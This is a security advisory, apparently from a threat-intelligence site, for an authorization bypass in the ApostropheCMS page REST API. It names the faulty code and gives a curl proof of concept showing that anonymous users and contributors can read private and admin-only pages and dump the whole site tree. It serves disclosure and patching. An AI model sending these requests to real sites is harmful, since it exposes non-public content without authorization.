MEDIUMCVSS v3.1 5.3Vulnerability

CVE-2026-113670

**Summary** The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug. **Details** `packages/apostrophe/modules/@apostrophecms/page/index.js`: - `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering. - `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`. - `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization. - Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`. **PoC** ``` # Anonymous (no session) — private, admin-only page: curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" # → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page", # "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"} # Anonymous full site-map dump (includes private + loginRequired pages): curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree # Contributor (cont_admin) reads full admin-only doc incl. protected field: curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" # → 200 secretData = TOP-SECRET-VALUE-abc123 # Controls (correctly enforced): curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403 curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403 ``` **Impact** Unauthenticated d

Properties

Summary
ApostropheCMS: Page REST API authorization bypass
Severity
medium
Nvd fetched at
2026-10-20T21:14:08.448323+00:00
Cvss score
5.3
Cvss severity
MEDIUM
Retrieved at
2026-10-21T01:23:59+00:00
Ghsa published
2026-10-20T18:13:08Z
Source url
https://github.com/advisories/GHSA-2j32-q6rx-h844
Ghsa updated
2026-10-20T18:13:09Z
Ghsa id
GHSA-2j32-q6rx-h844
Last source
GitHub Advisory Database
Score
5.3
Cvss version
3.1
Cve id
CVE-2026-113670
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
First seen by Signal
2026-10-20T21:15:35+00:00
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Published at
2026-10-20T18:17:20.680
Last modified
2026-10-20T19:53:10.247

Related Entities (3)

AFFECTS (1)

→[Software]npm/apostrophe

HAS_WEAKNESS (1)

VULNERABLE_TO (1)

←[Software]npm/apostrophe

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-113670 (CVSS v3.1 5.3) — Ninja Signal Threat Intelligence | Ninja Signal